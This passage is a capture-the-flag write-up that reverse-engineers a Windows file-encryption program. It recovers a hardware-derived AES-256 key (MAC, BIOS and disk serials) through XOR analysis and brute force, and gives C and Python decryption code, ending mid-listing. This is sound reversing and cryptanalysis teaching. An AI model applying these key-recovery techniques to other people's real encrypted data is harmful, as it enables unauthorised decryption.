> The terrorists destroyed much of the data they kept, but we have managed to retrieve an encrypted file containing links to the other members of the network, as well as the program used to encrypt it.
>
> Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer markings on the front (Or... Po... Ltd.) we don't know anything about it.
>
> Hopefully that won't stop you from decrypting this important intel.
>
> Good luck!,
> M.|
A binary file (`EncryptSoftware.exe`) and an encrypted file (`intel.txt.enc`) were attached.
## Solution
Let's start by running the program:
```console
E:\CTFs\mossad>EncryptSoftware.exe
USAGE: Encrypt <input file name> <output file name>
```
It looks like the program expects two arguments: An input filename and an output file name.
We'll use Ghidra to investigate the program.
We'll show the decompilation output (after performing some renaming). The full decomplied output can be found in the `Challenge3_files` folder.
We'll start with the main function:
```c
undefined4 __cdecl main(int argc,char **argv)
{
char *output_buffer;
HANDLE *ppvVar1;
HANDLE pvVar2;
DWORD bytes_written;
int bytes_to_write;
LPCWSTR lpOutputFileName;
if (argc < 3) {
print("USAGE: Encrypt <input file name> <output file name>");
return 0xffffffff;
}
argc = 0;
output_buffer = encrypt(argv[1],&argc);
lpOutputFileName = (LPCWSTR)argv[2];
ppvVar1 = (HANDLE *)allocate(4);
if (ppvVar1 != (HANDLE *)0x0) {
pvVar2 = CreateFileW(lpOutputFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0
);
bytes_to_write = argc;
*ppvVar1 = pvVar2;
if (pvVar2 == (HANDLE)0xffffffff) {
free(ppvVar1);
return 0;
}
bytes_written = 0;
WriteFile(*ppvVar1,output_buffer,argc,&bytes_written,(LPOVERLAPPED)0x0);
if (bytes_written != bytes_to_write) {
cleanup(lpOutputFileName);
}
}
return 0;
}
```
Not much to see here, we see that the function calls `encrypt` with the input file name, and writes the result to the output file name.
`encrypt` is a bit longer. It starts by calling another function and saving the result:
```c
padded_md5 = (undefined4 *)padded_md5_filename_mac(input_file_name);
if (padded_md5 == (undefined4 *)0x0) {
pcVar2 = (char *)FUN_00401f78();
return pcVar2;
}
```
This function is implemented as follows:
```c
char * __fastcall padded_md5_filename_mac(char *file_name)
{
ushort uVar1;
ushort *puVar2;
undefined8 *pbData;
int file_name_len_2;
undefined4 *p_mac_addr;
BOOL BVar3;
char *pcVar4;
undefined4 *puVar5;
int i;
uint file_name_len;
HCRYPTPROV hProv;
DWORD hash_len;
HCRYPTHASH hHash;
byte hash_output [16];
puVar2 = FUN_00402abe(file_name,'\\');
if (puVar2 != (ushort *)0x0) {
file_name = (char *)(puVar2 + 1);
}
puVar2 = (ushort *)file_name;
do {
uVar1 = *puVar2;
puVar2 = puVar2 + 1;
} while (uVar1 != 0);
file_name_len = (int)((int)puVar2 - (int)((ushort *)file_name + 1)) >> 1;
pbData = (undefined8 *)allocate(file_name_len + 6);
if (pbData == (undefined8 *)0x0) {
pcVar4 = (char *)FUN_00401f78();
return pcVar4;
}
file_name_len_2 = copy_str_into_buffer(pbData,(ushort *)file_name,file_name_len);
if (file_name_len_2 == 0) goto LAB_00401633;
p_mac_addr = (undefined4 *)get_mac_addr();
puVar5 = (undefined4 *)((int)pbData + file_name_len);
if (puVar5 == (undefined4 *)0x0) {
LAB_00401530:
puVar5 = (undefined4 *)FUN_00407f40();
*puVar5 = 0x16;
FUN_00407e83();
}
else {
if (p_mac_addr == (undefined4 *)0x0) {
*puVar5 = 0;
*(undefined2 *)(puVar5 + 1) = 0;
goto LAB_00401530;
}
// Copy MAC address after file name
*puVar5 = *p_mac_addr;
*(undefined2 *)(puVar5 + 1) = *(undefined2 *)(p_mac_addr + 1);
}
hProv = 0;
hHash = 0;
hash_len = 0x10;
BVar3 = CryptAcquireContextW(&hProv,(LPCWSTR)0x0,(LPCWSTR)0x0,1,0xf0000000);
if (BVar3 != 0) {
// MD5 (0x8003)
BVar3 = CryptCreateHash(hProv,0x8003,0,0,&hHash);
if (BVar3 != 0) {
BVar3 = CryptHashData(hHash,(BYTE *)pbData,file_name_len + 6,0);
if (BVar3 != 0) {
BVar3 = CryptGetHashParam(hHash,2,hash_output,&hash_len,0);
if (BVar3 != 0) {
puVar5 = (undefined4 *)allocate(0x20);
if (puVar5 != (undefined4 *)0x0) {
i = 0;
*puVar5 = 0;
puVar5[1] = 0;
puVar5[2] = 0;
puVar5[3] = 0;
puVar5[4] = 0;
puVar5[5] = 0;
puVar5[6] = 0;
puVar5[7] = 0;
// Pad MD5 result (nibble to byte)
if (0 < (int)hash_len) {
do {
if (0xf < i) break;
*(byte *)((int)puVar5 + i * 2) = hash_output[i] >> 4;
*(byte *)((int)puVar5 + i * 2 + 1) = hash_output[i] & 0xf;
i = i + 1;
} while (i < (int)hash_len);
}
}
}
}
}
if (hProv != 0) {
CryptReleaseContext(hProv,0);
}
if (hHash != 0) {
CryptDestroyHash(hHash);
}
}
if (p_mac_addr != (undefined4 *)0x0) {
free(p_mac_addr);
}
LAB_00401633:
free(pbData);
pcVar4 = (char *)FUN_00401f78();
return pcVar4;
}
```
What is does is:
1. Allocate a buffer of `len(filename) + 6`
2. Copy the filename into this buffer
3. After the filename, copy the machine's MAC address into the buffer
4. Calculate an MD5 hash over the buffer
5. Allocate a buffer of 32 bytes, which is twice as long as the MD5 hash output
6. "Pad" the MD5 hash by turning every nibble into a byte
For example, for the filename "file.txt" and the MAC address "AABBCCDDEEFF", the buffer would be:
```
file.txt\xAA\xBB\xCC\xDD\xEE\xFF
```
The MD5 would be:
```
b9cab29e8ade3a62f0bc38b3e1398572
```
And the result would be:
```
0b090c0a0b02090e080a0d0e030a06020f000b0c03080b030e01030908050702
```
Back to `encrypt`. The next step after receiving the padded MD5 is to call an internal function which performs classic encryption:
```c
encrypted_size = 0;
encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);
```
This function is implemented as follows:
```c
char * __fastcall do_encrypt(LPCWSTR file_name,size_t *output_size)
{
BOOL BVar1;
char *pcVar2;
undefined8 *mac_addr;
undefined4 *puVar3;
undefined4 *disk_serial;
DWORD input_file_size;
size_t _Size;
char *output_buf;
int iVar4;
HANDLE *input_file_handle;
DWORD total_bytes_read;
undefined8 *buf1;
bool bVar5;
HCRYPTKEY hKey;
HCRYPTHASH hHash;
uint bytes_read;
int offset;
HCRYPTPROV hProv;
ushort *temp;
char read_buf [16];
input_file_handle = (HANDLE *)0x0;
buf1 = (undefined8 *)0x0;
hProv = 0;
hKey = 0;
hHash = 0;
CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x50);
BVar1 = CryptAcquireContextW(&hProv,L"DataSafeCryptContainer",(LPCWSTR)0x0,0x18,0x48);
if (BVar1 == 0) {
GetLastError();
print("%x");
goto LAB_004010b6;
}
BVar1 = CryptCreateHash(hProv,0x8003,0,0,&hHash);
if ((BVar1 == 0) || (buf1 = (undefined8 *)allocate(0xe), buf1 == (undefined8 *)0x0))
goto LAB_004010b6;
mac_addr = (undefined8 *)get_mac_addr();
if (mac_addr == (undefined8 *)0x0) {
LAB_00401252:
free(buf1);
buf1 = (undefined8 *)0x0;
}
else {
copy_buf_(buf1,0xe,mac_addr,6);
temp = (ushort *)execute_command(L"wmic bios get serialnumber");
if (temp == (ushort *)0x0) {
LAB_00401241:
bVar5 = false;
}
else {
puVar3 = extract_serial(temp);
free(temp);
if (puVar3 == (undefined4 *)0x0) goto LAB_00401241;
temp = (ushort *)lchar_to_dword((ushort *)puVar3);
if (temp == (ushort *)0xffffffff) {
bVar5 = false;
free(puVar3);
}
else {
// Now buffer will contain mac + bios_serial[0:4]
copy_buf_((undefined8 *)((int)buf1 + 6),8,(undefined8 *)&temp,4);
disk_serial = get_disk_serial();
if (disk_serial == (undefined4 *)0x0) {
bVar5 = false;
free(puVar3);
}
else {
temp = (ushort *)lchar_to_dword((ushort *)disk_serial);
bVar5 = temp != (ushort *)0xffffffff;
if (bVar5) {
// Now buffer will contain mac + bios_serial[0:4] + disk_serial[0:4]
copy_buf_((undefined8 *)((int)buf1 + 10),4,(undefined8 *)&temp,4);
}
free(disk_serial);
free(puVar3);
}
}
}
free(mac_addr);
if (!bVar5) goto LAB_00401252;
}
if (((buf1 != (undefined8 *)0x0) && (BVar1 = CryptHashData(hHash,(BYTE *)buf1,0xe,0), BVar1 != 0))
&& (BVar1 = CryptDeriveKey(hProv,0x6610,hHash,0,&hKey), BVar1 != 0
// CALG_AES_256 = 0x6610)) {
input_file_handle = get_file_handle(file_name,0x80000000,3);
total_bytes_read = 0;
if (input_file_handle != (HANDLE *)0x0) {
temp = (ushort *)0x0;
input_file_size = GetFileSize(*input_file_handle,(LPDWORD)0x0);
// align size to 16 bytes
_Size = (input_file_size & 0xfffffff0) + 0x10;
output_buf = (char *)allocate(_Size);
if (output_buf != (char *)0x0) {
offset = 0;
read_buf._0_4_ = 0;
read_buf._4_4_ = 0;
read_buf._8_4_ = 0;
read_buf._12_4_ = 0;
iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0);
while ((iVar4 != 0 && (bytes_read != 0))) {
total_bytes_read = total_bytes_read + bytes_read;
if (total_bytes_read == input_file_size) {
temp = (ushort *)0x1;
}
BVar1 = CryptEncrypt(hKey,0,(BOOL)temp,0,(BYTE *)read_buf,&bytes_read,0x10);
if (BVar1 == 0) {
free(output_buf);
goto LAB_004010b6;
}
copy_buffer((undefined8 *)(output_buf + offset),(undefined8 *)read_buf,bytes_read);
offset = offset + bytes_read;
read_buf._0_4_ = 0;
read_buf._4_4_ = 0;
read_buf._8_4_ = 0;
read_buf._12_4_ = 0;
iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0);
}
*output_size = _Size;
}
}
}
LAB_004010b6:
CryptReleaseContext(hProv,0);
if (hProv != 0) {
CryptReleaseContext(hProv,0);
}
if (hHash != 0) {
CryptDestroyHash(hHash);
}
if (buf1 == (undefined8 *)0x0) {
free((void *)0x0);
}
if (hKey != 0) {
CryptDestroyKey(hKey);
}
if (input_file_handle != (HANDLE *)0x0) {
CloseHandle(*input_file_handle);
free(input_file_handle);
}
pcVar2 = (char *)FUN_00401f78();
return pcVar2;
}
```
It starts by calling WinAPI functions to setup the crypto context. It then:
1. Allocates a buffer of length 0xE
2. Copies the machine's MAC address into the buffer
3. Calls the `wmic bios get serialnumber` command to read the BIOS serial number
4. Copies the first four bytes to the buffer
5. Calls the `wmic diskdrive get serialnumber` command to read the disk drive's serial number
6. Copies the first four bytes of the result to the buffer
7. Uses the buffer to derive key material for AES_256 encryption
8. Encrypts the buffer with AES_256
9. Returns the encrypted buffer and size
Since the function uses standard AES-256 in order to encrypt the buffer, it looks like we won't be able to find any shortcuts when attempting to decrypt it - We'll have to reconstruct the same key and use AES-256 decryption.
Back to `encrypt` again to see what happens with the result:
```c
if (encrypted_buf != (char *)0x0) {
puVar3 = (ushort *)execute_command(L"wmic diskdrive get serialnumber");
if (puVar3 == (ushort *)0x0) {
diskdrive_serial = (undefined4 *)0x0;
}
else {
diskdrive_serial = extract_serial(puVar3);
free(puVar3);
if (diskdrive_serial != (undefined4 *)0x0) {
dd_serial_dword = lchar_to_dword((ushort *)diskdrive_serial);
buffer = (undefined4 *)allocate(encrypted_size + 2992);
if (buffer != (undefined4 *)0x0) {
*buffer = 0x531b008a;
puVar3 = (ushort *)execute_command(L"wmic bios get serialnumber");
if (puVar3 != (ushort *)0x0) {
puVar4 = extract_serial(puVar3);
free(puVar3);
if (puVar4 != (undefined4 *)0x0) {
bios_serial_dword = lchar_to_dword((ushort *)puVar4);
garble_buf(garble_buf,bios_serial_dword);
src_offset = 0;
limit = 625;
counter = 0;
uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f);
p_current_src = garble_buf;
p_current_dest = garble_buf_copy;
while (limit != 0) {
limit = limit + -1;
*p_current_dest = *p_current_src;
p_current_src = p_current_src + 1;
p_current_dest = p_current_dest + 1;
}
iVar5 = (uVar8 >> 0x1f) + uVar8;
uVar8 = iVar5 + 1;
// copy padded md5 starting from buf[4] (8 dwords)
iVar7 = 8;
p_current_padded_md5 = padded_md5;
puVar4 = buffer;
while (puVar4 = puVar4 + 1, iVar7 != 0) {
iVar7 = iVar7 + -1;
*puVar4 = *p_current_padded_md5;
p_current_padded_md5 = p_current_padded_md5 + 1;
}
iVar7 = 0x24;
iVar5 = encrypted_size + iVar5 * -0x2e3;
do {
uVar6 = other_garble(garble_buf_copy);
*(uint *)(iVar7 + (int)buffer) = uVar6;
if (counter == iVar5) {
uVar8 = uVar8 - 1;
}
copy_buffer((undefined8 *)(iVar7 + 4 + (int)buffer),
(undefined8 *)(encrypted_buf + src_offset),uVar8);
sVar1 = encrypted_size;
counter = counter + 1;
src_offset = src_offset + uVar8;
iVar7 = iVar7 + 4 + uVar8;
} while (counter < 739);
if (src_offset != encrypted_size) {
print("NOT read enaugh bytes %d , %d");
}
iVar5 = sVar1 + 2988;
*output_len = iVar5;
iVar7 = 0;
if (0 < iVar5) {
do {
*(uint *)(iVar7 + (int)buffer) = *(uint *)(iVar7 + (int)buffer) ^ dd_serial_dword;
iVar7 = iVar7 + 4;
} while (iVar7 < iVar5);
}
goto LAB_00401895;
}
}
free(buffer);
}
}
}
}
```
`encrypt` proceeds by:
1. Calling `wmic diskdrive get serialnumber` to get the disk drive serial again
2. Allocating an output buffer of size `encrypted_size + 2992`
3. Setting the first DWORD in the buffer to the magic value `0x531b008a`
4. Calling `wmic bios get serialnumber` to get the BIOS serial number again
5. Calling some kind of user-defined hash(?) function `garble_buf(garble_buf,bios_serial_dword)`, where `garble_buf` is a local buffer of size `625 * sizeof(uint)` and `bios_serial_dword` is the first four bytes of the BIOS serial.
6. Making a copy of `garble_buf` in another local buffer of the same size (`garble_buf_copy`)
7. Copying the padded MD5 into the buffer, after the magic value
8. Starting a loop which:
1. Calls another hash(?) function `other_garble(garble_buf_copy)` to receive a 4-byte hash(?) value
2. Copies this value to the buffer
3. Copies a chunk of the encrypted text to the buffer
4. (At some point, changes the chunk size by decrementing it)
After the encrypted buffer is copied to the output buffer (chunk by chunk, where in between we have garbled DWORD separators), the buffer is XORed using `dd_serial_dword` (the first four bytes of the disk drive).
The buffer is later returned to the main function, which writes it to the output file.
The garbling functions are defined as:
```c
void __fastcall garble_buf(undefined4 *buffer,undefined4 initial_value)
{
*buffer = initial_value;
buffer[0x270] = 1;
do {
buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5;
buffer[0x270] = buffer[0x270] + 1;
} while ((int)buffer[0x270] < 0x270);
return;
}
uint __cdecl other_garble(uint *garbled_buf_copy)
{
uint uVar1;
int i;
if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
garble_buf(garbled_buf_copy,0x1105);
}
i = 0;
while (i < 0xe3) {
garbled_buf_copy[i] =
(garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
garbled_buf_copy[i + 0x18d] ^
*(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
i = i + 1;
}
while (i < 0x26f) {
garbled_buf_copy[i] =
(garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
garbled_buf_copy[i + -0xe3] ^
*(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
i = i + 1;
}
garbled_buf_copy[0x26f] =
(garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^
garbled_buf_copy[0x18c] ^ *(uint *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4);
garbled_buf_copy[0x270] = 0;
}
uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]];
garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1;
uVar1 = uVar1 >> 0xb ^ uVar1;
uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1;
uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1;
return uVar1 >> 0x12 ^ uVar1;
}
```
`garble_buf` receives a buffer of size `0x271 * sizeof(uint)` and an initial value (DWORD). It copies the initial value to the first DWORD of the array, and then uses it to fill the rest of the array with a derived value. `buffer[0x270]` is used as an index to the current array member that the function is working on.
`other_garble` takes the product of `garble_buf` and garbles it a bit more. According to the last few lines of the function, it looks like the bit shifting will cause the result to lose information, and therefore it might be impossible to use the result to reconstruct the original value.
Now that we've reviewed the main functionality, we can start our attempt to decrypt the file. The file we've received is called `intel.txt.enc` and is 38,924 bytes long.
It starts with the following content:

The last thing that happens is a XOR operation being applied to the file, so we should start by performing the opposite operation in order to recover the contents before the XOR.
Since the first DWORD in the original buffer is a magic value (`0x531b008a`), we XOR the current value (`0x632B30BA`) with the magic value in order to recover the key used to XOR the file (which happens to be the first four bytes of the disk driver serial number):
```python
>>> hex(0x632B30BA ^ 0x531b008a)
'0x30303030'
```
This is good, since we got a result which looks like ASCII (`chr(0x30) = '0'`).
We can now use this value to un-XOR the complete file:
```python
def readXorInt(f, xor):
b = f.read(4)
if not b:
return None
res = int.from_bytes(b, byteorder="little") ^ xor
return res
with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o:
dd_serial = readXorInt(f, MAGIC)
o.write(dd_serial.to_bytes(4, byteorder="little"))
while True:
res = readXorInt(f, dd_serial)
if res is None:
break
o.write(res.to_bytes(4, byteorder="little"))
```
The result:

The first 4 bytes are the magic value, and the 32 bytes that follow are the padded MD5:
```
00 09 04 09 0B 04 06 0B 07 03 0E 03 0A 0F 06 0F 05 0A 0F 0C 08 01 09 05 05 03 06 07 02 09 05 0C
```
If we remove the padding, the MD5 is:
```
0949b46b73e3af6f5afc81955367295c
```
We know that the MD5 is composed of `FileName + MAC`, and we know that `FileName` is (probably) `intel.txt`. We'd like to find the MAC address since it's used later on in the encryption key.
We can perform brute force in order to find a 6-byte value where `MD5("intel.txt" + ??????) == 0949b46b73e3af6f5afc81955367295c`, but that might take a while. Let's try to use what we know in order to reduce the search space.
1. We know that the file was encrypted on a machine manufactured by "Or... Po... Ltd." (from the description)
2. We know that MAC addresses are divided into two parts: The first three bytes are a manufacturer ID and the other three bytes are a unique device ID
3. If we can identify the manufacturer, we can reduce the search space to three bytes.
A large list of MAC manufacturers and IDs can be found [here](https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4).
From that list, two seems to match the "Or... Po..." pattern:
```
8CF813 ORANGE POLSKA
001337 Orient Power Home Network Ltd.
```
Out of the two, the second options seems much more realistic, not only because it ends with "Ltd.", but also because it has the valuable ID of [1337](https://en.wikipedia.org/wiki/Leet).
Now we can brute force the remainder much faster:
```python
mac_prefix = (0x00, 0x13, 0x37)
with open("phase1.bin", "rb") as f:
readXorInt(f, 0) # Dummy read, we already have the dd_serial
padded_md5 = bytearray()
for i in range(4 * 2):
dword = readXorInt(f, 0)
padded_md5 += dword.to_bytes(4, byteorder='little')
padded_md5 = binascii.hexlify(padded_md5)
assert (padded_md5[::2] == b"0" * 32)
md5 = padded_md5[1::2]
print("MD5: {}".format(md5))
mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5)
mac_hex = binascii.hexlify(bytes(mac))
print ("MAC Address: {}".format(mac_hex))
```
The result:
```
Disk drive serial: 0x30303030
MD5: b'0949b46b73e3af6f5afc81955367295c'
MAC Address: b'0013378eab66'
```
Another piece of information we can extract is the length of the AES-256 encrypted buffer.
```c
encrypted_size = 0;
encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);
//...
sVar1 = encrypted_size;
//...
iVar5 = sVar1 + 2988;
*output_len = iVar5;
```
The length of the output file is 2988 bytes larger than the length of the AES-256 input buffer (which is the size of the input file + AES block alignment).
```python
encrypted_length = os.fstat(f.fileno()).st_size - 2988
print ("Length of encrypted message: {}".format(encrypted_length))
```
Now it's time to start to extract the ciphertext, while skipping the garbled DWORDs.
We know that immediately after the padded MD5 we have a garbled DWORD, then a chunk of ciphertext, then another garbled DWORD, a chunk of ciphertext and so on.
The chunk size is calculated as follows:
```c
uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f);
//...
iVar5 = (uVar8 >> 0x1f) + uVar8;
uVar8 = iVar5 + 1;
//...
iVar5 = encrypted_size + iVar5 * -0x2e3;
//...
if (counter == iVar5) { // Happens within the copy loop
uVar8 = uVar8 - 1;
}
```
If we calculate this for our encrypted size, we get:
```python
>>> encrypted_size = 35936
>>> uVar8 = encrypted_size // 0x2e3 + (encrypted_size >> 0x1f)
>>> iVar5 = (uVar8 >> 0x1f) + uVar8
>>> uVar8 = iVar5 + 1
>>> iVar5 = encrypted_size + iVar5 * -0x2e3
>>> uVar8
49
>>> iVar5
464
````
We use this to read the ciphertext:
```python
def get_size_and_decrement_index(encrypted_length):
size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f)
decrement_index = (size >> 0x1f) + size
size = decrement_index + 1
decrement_index = encrypted_length + decrement_index * -0x2e3
return (size, decrement_index)
ciphertext = bytearray()
bytes_read = 0
i = 0
size, decrement_index = get_size_and_decrement_index(encrypted_length)
while bytes_read < encrypted_length:
if i == decrement_index:
size -= 1
garble = readXorInt(f, 0)
ciphertext += f.read(size)
bytes_read += size
i += 1
```
Now we have the ciphertext, and almost all of the key. It's time to get the rest of the key and decrypt the text file.
The key is composed of:
```
MAC[0:6] + BIOS_SERIAL[0:4] + DISK_DRIVE_SERIAL[0:4]
```
We have the MAC address and the disk driver serial, how do we find the BIOS serial?
We'll, in this case we'll have to apply some brute force. The only other place where the BIOS serial is used is as the initial value for the `garble_buf()` function, which produces output that is consumed by `other_garble()` and at least on the surface seems irreversible. The result of `other_garble()` is a DWORD which serves as a delimiter for ciphertext chunks.
Instead of trying to build our way back from the garbled DWORD to the original initial value, let's work the other way around and try to find an initial value which will produce the garbled DWORD we see in the encrypted file.

The first DWORD starts at 0x24 and has the value of 0x00BB65FE.
We'll use the following C code to find the initial value that will produce it:
```c
#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <stdint.h>
#include <assert.h>
uint32_t DAT_0041e8c0[] = { 0x00, 0x00, 0x00, 0x00, 0xdf, 0xb0, 0x08, 0x99 };
void garble_buf(uint32_t *buffer, uint32_t initial_value)
{
*buffer = initial_value;
buffer[0x270] = 1;
do {
buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5;
buffer[0x270] = buffer[0x270] + 1;
} while ((int)buffer[0x270] < 0x270);
return;
}
uint32_t other_garble(uint32_t *garbled_buf_copy)
{
uint32_t uVar1;
int i;
if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
garble_buf(garbled_buf_copy, 0x1105);
}
i = 0;
while (i < 0xe3) {
garbled_buf_copy[i] =
(garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
garbled_buf_copy[i + 0x18d] ^
*(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
i = i + 1;
}
while (i < 0x26f) {
garbled_buf_copy[i] =
(garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
garbled_buf_copy[i + -0xe3] ^
*(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
i = i + 1;
}
garbled_buf_copy[0x26f] =
(garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^
garbled_buf_copy[0x18c] ^ *(uint32_t *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4);
garbled_buf_copy[0x270] = 0;
}
uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]];
garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1;
uVar1 = uVar1 >> 0xb ^ uVar1;
uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1;
uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1;
return uVar1 >> 0x12 ^ uVar1;
}
uint32_t buffer[0x271];
uint32_t get_garbled_output(uint32_t initial_value)
{
uint32_t res;
garble_buf(buffer, initial_value);
res = other_garble(buffer);
return res;
}
const char letters[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
#define NELEMENTS(arr) (sizeof(arr) / sizeof(arr[0]))
int main(int argc, _TCHAR* argv[])
{
DWORD i, j, k, l;
DWORD num;
CHAR* pNum = (CHAR*)#
assert(get_garbled_output(0x46303952) == 0x098A04B2);
if (argc < 2)
{
_tprintf(_TEXT("Usage: %s <initial_value>\n"), argv[0]);
return 1;
}
DWORD target;
target = _ttoi(argv[1]);
_tprintf(_T("Searching for an initial value which would have produced the following value: %d (0x%x)\n"), target, target);
DWORD limit = NELEMENTS(letters);
for (i = 0; i < limit; ++i)
{
pNum[0] = letters[i];
for (j = 0; j < limit; ++j)
{
pNum[1] = letters[j];
for (k = 0; k < limit; ++k)
{
pNum[2] = letters[k];
for (l = 0; l < limit; ++l)
{
pNum[3] = letters[l];
if (get_garbled_output(num) == target)
{
_tprintf(_T("0x%x\n"), num);
return 0;
}
}
}
}
}
return 0;
}
```
A few comments about the code:
1. `garble_buf` and `other_garble` are pretty much copy-paste from Ghidra's decompilation output.
2. The code can be easily ported to Python but C returns the result much faster.
3. Since we're talking about a serial number, we assume legal characters are mainly lowercase and uppercase letters, together with digits.
The code runs for a few seconds and outputs the following answer:
```
> FindGarbleInitVal.exe 12281342
Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe)
0x61774d56
```
We finally have the key:
```
0x00, 0x13, 0x37, 0x8e, 0xab, 0x66, 0x56, 0x4d, 0x77, 0x61, 0x30, 0x30, 0x30, 0x30
```
Now we can decrypt the file:
```c
#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <Wincrypt.h>
#include <stdint.h>
#include <assert.h>
#pragma comment(lib,"Crypt32.lib")
#define CHUNK_SIZE (1024)
#define PASSWORD_LENGTH (14)
void PrintError(LPCTSTR error_string, DWORD error_code)
{
_ftprintf(stderr, TEXT("\nAn error occurred in the program. \n"));
_ftprintf(stderr, TEXT("%s\n"), error_string);
_ftprintf(stderr, TEXT("Error number %x.\n"), error_code);
}
int main(int argc, _TCHAR* argv[])
{
HANDLE hSourceFile = INVALID_HANDLE_VALUE;
HCRYPTPROV hProv = NULL;
HCRYPTKEY hKey = NULL;
HCRYPTHASH hHash = NULL;
BYTE password[PASSWORD_LENGTH];
BYTE read_buffer[CHUNK_SIZE + 1] = { 0 };
LPTSTR src_file_path;
LPTSTR base64_password;
DWORD file_size;
DWORD total_bytes_read = 0;
DWORD size_to_decrypt = 0;
DWORD password_length;
BOOL is_final_chunk = 1;
if (argc < 3)
{
_tprintf(TEXT("Usage: %s <source file> <base64_password> [size_to_decrypt]\n"), argv[0]);
return 1;
}
src_file_path = argv[1];
base64_password = argv[2];
if (argc >= 4)
{
size_to_decrypt = _ttoi(argv[3]);
}
password_length = sizeof(password);
if (CryptStringToBinary(base64_password, 0, CRYPT_STRING_BASE64, password, &password_length, NULL, NULL) != TRUE)
{
PrintError(TEXT("Invalid password!\n"), GetLastError());
goto exit;
}
hSourceFile = CreateFile(src_file_path, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hSourceFile)
{
PrintError(TEXT("Error opening source file!\n"), GetLastError());
goto exit;
}
file_size = GetFileSize(hSourceFile, NULL);
if ( (size_to_decrypt <= 0) || (size_to_decrypt > file_size) )
{
size_to_decrypt = file_size;
}
if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x50) != TRUE)
{
PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError());
goto exit;
}
if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x48) != TRUE)
{
PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError());
goto exit;
}
if (CryptCreateHash(hProv, 0x8003, 0, 0, &hHash) != TRUE)
{
PrintError(TEXT("Error with CryptCreateHash!\n"), GetLastError());
goto exit;
}
if (CryptHashData(hHash, (BYTE *)password, 0xe, 0) != TRUE)
{
PrintError(TEXT("Error with CryptHashData!\n"), GetLastError());
goto exit;
}
if (CryptDeriveKey(hProv, 0x6610, hHash, 0, &hKey) != TRUE)
{
PrintError(TEXT("Error with CryptDeriveKey!\n"), GetLastError());
goto exit;
}
while (total_bytes_read < size_to_decrypt)
{
DWORD bytes_to_read = min(CHUNK_SIZE, size_to_decrypt - total_bytes_read);
DWORD bytes_read;
DWORD data_length;
if (ReadFile(hSourceFile, read_buffer, CHUNK_SIZE, &bytes_read, NULL) != TRUE)
{
PrintError(TEXT("Error reading source file!\n"), GetLastError());
goto exit;
}
is_final_chunk = total_bytes_read + bytes_read == file_size;
data_length = bytes_read;
if (CryptDecrypt(hKey, 0, is_final_chunk, 0, read_buffer, &data_length) != TRUE)
{
PrintError(TEXT("Error decrypting file!\n"), GetLastError());
goto exit;
}
_tprintf("%s", read_buffer);
total_bytes_read += bytes_read;
}
_tprintf("\n");
exit:
if (hKey != NULL)
{
CryptDestroyHash(hKey);
}
if (hHash != NULL)
{
CryptDestroyHash(hHash);
}
if (hProv != NULL)
{
CryptReleaseContext(hProv, 0);
}
if (hSourceFile != INVALID_HANDLE_VALUE)
{
